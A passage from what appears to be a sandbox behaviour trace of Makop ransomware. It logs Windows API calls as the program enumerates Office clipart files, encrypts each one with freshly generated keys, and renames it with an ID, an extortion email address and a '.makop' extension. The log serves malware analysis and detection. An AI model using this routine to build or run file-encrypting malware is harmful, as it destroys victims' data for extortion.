dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.743] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.743] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.743] GetProcessHeap () returned 0x48a0000 [0135.743] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.743] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.743] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.743] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.744] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.745] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.745] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.745] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f8e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f8e, lpOverlapped=0x0) returned 1 [0135.747] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f90, dwBufLen=0x4f90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f90) returned 1 [0135.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f90, lpOverlapped=0x0) returned 1 [0135.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.749] SetEndOfFile (hFile=0xf0) returned 1 [0135.755] GetProcessHeap () returned 0x48a0000 [0135.755] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.755] GetProcessHeap () returned 0x48a0000 [0135.755] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.756] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.757] CloseHandle (hObject=0xf0) returned 1 [0135.757] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0135.757] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG") returned 63 [0135.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.758] GetProcessHeap () returned 0x48a0000 [0135.758] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.758] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0135.763] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.763] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.763] GetProcessHeap () returned 0x48a0000 [0135.763] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.763] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.763] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.764] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.764] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.765] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.765] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.765] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.765] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x29c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x29c4, lpOverlapped=0x0) returned 1 [0135.767] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29d0, dwBufLen=0x29d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x29d0) returned 1 [0135.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x29d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x29d0, lpOverlapped=0x0) returned 1 [0135.767] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.768] SetEndOfFile (hFile=0xf0) returned 1 [0135.774] GetProcessHeap () returned 0x48a0000 [0135.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.774] GetProcessHeap () returned 0x48a0000 [0135.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.774] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.776] CloseHandle (hObject=0xf0) returned 1 [0135.776] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0135.776] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG") returned 63 [0135.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.779] GetProcessHeap () returned 0x48a0000 [0135.779] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.779] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.779] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.791] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.791] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.791] GetProcessHeap () returned 0x48a0000 [0135.791] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.791] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.792] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.792] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.792] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.792] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.793] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x544c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x544c, lpOverlapped=0x0) returned 1 [0135.794] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5450, dwBufLen=0x5450 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5450) returned 1 [0135.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5450, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5450, lpOverlapped=0x0) returned 1 [0135.797] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.797] SetEndOfFile (hFile=0xf0) returned 1 [0135.803] GetProcessHeap () returned 0x48a0000 [0135.804] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.804] GetProcessHeap () returned 0x48a0000 [0135.804] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.804] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.805] CloseHandle (hObject=0xf0) returned 1 [0135.806] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0135.806] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG") returned 63 [0135.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.807] GetProcessHeap () returned 0x48a0000 [0135.807] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.807] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.807] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0135.811] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.812] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.812] GetProcessHeap () returned 0x48a0000 [0135.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.812] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.812] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.812] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.813] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9a8b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9a8b, lpOverlapped=0x0) returned 1 [0135.815] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a90, dwBufLen=0x9a90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a90) returned 1 [0135.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9a90, lpOverlapped=0x0) returned 1 [0135.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.816] SetEndOfFile (hFile=0xf0) returned 1 [0135.822] GetProcessHeap () returned 0x48a0000 [0135.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.823] GetProcessHeap () returned 0x48a0000 [0135.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.823] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.824] CloseHandle (hObject=0xf0) returned 1 [0135.825] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0135.825] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG") returned 63 [0135.825] CreateFileW (lpFileName="C:\\Program 